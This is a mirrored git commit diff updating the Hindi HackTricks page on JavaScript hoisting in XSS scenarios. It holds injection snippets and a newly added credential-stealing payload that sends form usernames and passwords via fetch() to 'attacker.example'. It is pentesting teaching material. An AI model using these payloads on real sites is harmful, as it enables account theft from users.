mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/xss-cross-site-scripting/README.md',
This commit is contained in:
parent
a0b8743639
commit
de83d3537e
File diff suppressed because it is too large
Load Diff
@ -4,29 +4,29 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
JavaScript भाषा में, एक तंत्र जिसे **Hoisting** कहा जाता है, का वर्णन किया गया है जहाँ वेरिएबल, फंक्शंस, क्लासेस, या इम्पोर्ट्स की घोषणाएँ उनके स्कोप के शीर्ष पर विचारात्मक रूप से उठाई जाती हैं इससे पहले कि कोड निष्पादित हो। यह प्रक्रिया स्वचालित रूप से JavaScript इंजन द्वारा की जाती है, जो स्क्रिप्ट को कई पास में पार्स करता है।
|
||||
JavaScript भाषा में एक तंत्र जिसे **Hoisting** कहा जाता है, जहाँ variables, functions, classes, या imports की घोषणाओं को अवधारणा के रूप में उनके scope के शीर्ष पर उठाया जाता है, इससे पहले कि कोड execute हो। यह प्रक्रिया JavaScript engine द्वारा स्वचालित रूप से की जाती है, जो script को कई पासों में प्रोसेस करता है।
|
||||
|
||||
पहले पास के दौरान, इंजन कोड को पार्स करता है ताकि सिंटैक्स त्रुटियों की जांच की जा सके और इसे एक अमूर्त सिंटैक्स ट्री में परिवर्तित किया जा सके। इस चरण में होइस्टिंग शामिल है, एक प्रक्रिया जहाँ कुछ घोषणाएँ निष्पादन संदर्भ के शीर्ष पर ले जाई जाती हैं। यदि पार्सिंग चरण सफल होता है, जो कि कोई सिंटैक्स त्रुटियाँ नहीं होने का संकेत है, तो स्क्रिप्ट निष्पादन आगे बढ़ता है।
|
||||
पहले पास के दौरान, engine कोड को parse करता है ताकि syntax errors की जाँच की जा सके और इसे एक abstract syntax tree में परिवर्तित किया जाता है। इस चरण में hoisting शामिल है, एक प्रक्रिया जहाँ कुछ घोषणाएँ execution context के शीर्ष पर स्थानांतरित कर दी जाती हैं। यदि parsing चरण सफल रहता है और कोई syntax error नहीं मिलता, तो script का execution आगे बढ़ता है।
|
||||
|
||||
यह समझना महत्वपूर्ण है कि:
|
||||
|
||||
1. स्क्रिप्ट को निष्पादन के लिए सिंटैक्स त्रुटियों से मुक्त होना चाहिए। सिंटैक्स नियमों का सख्ती से पालन किया जाना चाहिए।
|
||||
2. स्क्रिप्ट के भीतर कोड का स्थान होइस्टिंग के कारण निष्पादन को प्रभावित करता है, हालाँकि निष्पादित कोड इसकी पाठ्य प्रतिनिधित्व से भिन्न हो सकता है।
|
||||
1. execution होने के लिए script को syntax errors से मुक्त होना चाहिए। syntax नियमों का सख्ती से पालन आवश्यक है।
|
||||
2. कोड का स्क्रिप्ट में स्थान hoisting के कारण execution को प्रभावित करता है, हालाँकि executed code इसकी टेक्स्टुअल representation से भिन्न हो सकता है।
|
||||
|
||||
#### Types of Hoisting
|
||||
|
||||
MDN से मिली जानकारी के आधार पर, JavaScript में चार विशिष्ट प्रकार की होइस्टिंग हैं:
|
||||
MDN की जानकारी के आधार पर, JavaScript में hoisting के चार अलग प्रकार होते हैं:
|
||||
|
||||
1. **Value Hoisting**: एक वेरिएबल के मान का उपयोग उसके घोषणात्मक पंक्ति से पहले उसके स्कोप के भीतर करने की अनुमति देता है।
|
||||
2. **Declaration Hoisting**: एक वेरिएबल को उसके घोषणात्मक पंक्ति से पहले उसके स्कोप के भीतर संदर्भित करने की अनुमति देता है बिना `ReferenceError` उत्पन्न किए, लेकिन वेरिएबल का मान `undefined` होगा।
|
||||
3. यह प्रकार अपने स्कोप के भीतर व्यवहार को बदलता है क्योंकि वेरिएबल की घोषणा उसके वास्तविक घोषणात्मक पंक्ति से पहले होती है।
|
||||
4. घोषणा के साइड इफेक्ट्स उसके साथ मौजूद अन्य कोड के मूल्यांकन से पहले होते हैं।
|
||||
1. **Value Hoisting**: स्कोप के भीतर किसी variable के value का उसके declaration line से पहले उपयोग सक्षम करता है।
|
||||
2. **Declaration Hoisting**: स्कोप के भीतर किसी variable को उसकी declaration से पहले reference करने की अनुमति देता है बिना `ReferenceError` के, लेकिन variable का value `undefined` होगा।
|
||||
3. यह प्रकार उस स्कोप के भीतर व्यवहार को बदल देता है क्योंकि variable की घोषणा इसकी वास्तविक declaration line से पहले हो जाती है।
|
||||
4. declaration के side effects को उस कोड के बाकी हिस्से के evaluate होने से पहले घटीत कर देता है जिसमें वह declaration शामिल है।
|
||||
|
||||
विस्तार से, फंक्शन घोषणाएँ प्रकार 1 होइस्टिंग व्यवहार प्रदर्शित करती हैं। `var` कीवर्ड प्रकार 2 व्यवहार को प्रदर्शित करता है। लेक्सिकल घोषणाएँ, जिसमें `let`, `const`, और `class` शामिल हैं, प्रकार 3 व्यवहार दिखाती हैं। अंत में, `import` स्टेटमेंट अद्वितीय होते हैं क्योंकि वे प्रकार 1 और प्रकार 4 दोनों व्यवहार के साथ होइस्ट होते हैं।
|
||||
विस्तार में, function declarations type 1 hoisting व्यवहार दिखाती हैं। `var` keyword type 2 व्यवहार प्रदर्शित करता है। Lexical declarations, जिनमें `let`, `const`, और `class` शामिल हैं, type 3 व्यवहार दिखाते हैं। अंत में, `import` statements अनूठे हैं क्योंकि इन्हें type 1 और type 4 दोनों व्यवहारों के साथ hoist किया जाता है।
|
||||
|
||||
## Scenarios
|
||||
|
||||
इसलिए यदि आपके पास ऐसे परिदृश्य हैं जहाँ आप **एक अनघोषित ऑब्जेक्ट के बाद JS कोड इंजेक्ट कर सकते हैं**, तो आप इसे घोषित करके **सिंटैक्स को ठीक कर सकते हैं** (ताकि आपका कोड निष्पादित हो सके बजाय इसके कि एक त्रुटि फेंके):
|
||||
इसलिए यदि आपके पास ऐसे परिदृश्य हैं जहाँ आप **Inject JS code after an undeclared object** का उपयोग कर सकते हैं, तो आप इसे declare करके **fix the syntax** कर सकते हैं (ताकि आपका कोड error फेंकने के बजाय execute हो):
|
||||
```javascript
|
||||
// The function vulnerableFunction is not defined
|
||||
vulnerableFunction('test', '<INJECTION>');
|
||||
@ -68,7 +68,7 @@ alert(1);
|
||||
test.cookie("leo", "INJECTION")
|
||||
test[("cookie", "injection")]
|
||||
```
|
||||
## अधिक परिदृश्य
|
||||
## और परिदृश्य
|
||||
```javascript
|
||||
// Undeclared var accessing to an undeclared method
|
||||
x.y(1,INJECTION)
|
||||
@ -127,11 +127,31 @@ alert(1) -
|
||||
},
|
||||
})
|
||||
}
|
||||
trigger()
|
||||
```
|
||||
## संदर्भ
|
||||
### बाद की घोषणाओं को रोकें const के साथ नाम लॉक करके
|
||||
|
||||
यदि आप शीर्ष-स्तरीय `function foo(){...}` के पार्स होने से पहले निष्पादन कर सकते हैं, तो उसी नाम के साथ एक लेक्सिकल बाइंडिंग घोषित करने (उदा., `const foo = ...`) से बाद में आने वाली function declaration उस identifier को पुनः बाँधने से रोकी जाएगी। इसे RXSS में दुरुपयोग कर पेज पर बाद में परिभाषित महत्वपूर्ण handlers को hijack किया जा सकता है:
|
||||
```javascript
|
||||
// Malicious code runs first (e.g., earlier inline <script>)
|
||||
const DoLogin = () => {
|
||||
const pwd = Trim(FormInput.InputPassword.value)
|
||||
const user = Trim(FormInput.InputUtente.value)
|
||||
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
|
||||
}
|
||||
|
||||
// Later, the legitimate page tries to declare:
|
||||
function DoLogin(){ /* ... */ } // cannot override the existing const binding
|
||||
```
|
||||
Notes
|
||||
- यह निष्पादन क्रम और global (top-level) scope पर निर्भर करता है।
|
||||
- यदि आपका payload `eval()` के अंदर execute होता है, तो याद रखें कि `const/let` `eval` के अंदर block-scoped होते हैं और global bindings नहीं बनाएंगे। एक नया `<script>` element inject करें जिसमें code हो ताकि एक वास्तविक global `const` स्थापित हो सके।
|
||||
|
||||
## References
|
||||
|
||||
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
|
||||
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
|
||||
- [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
|
||||
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user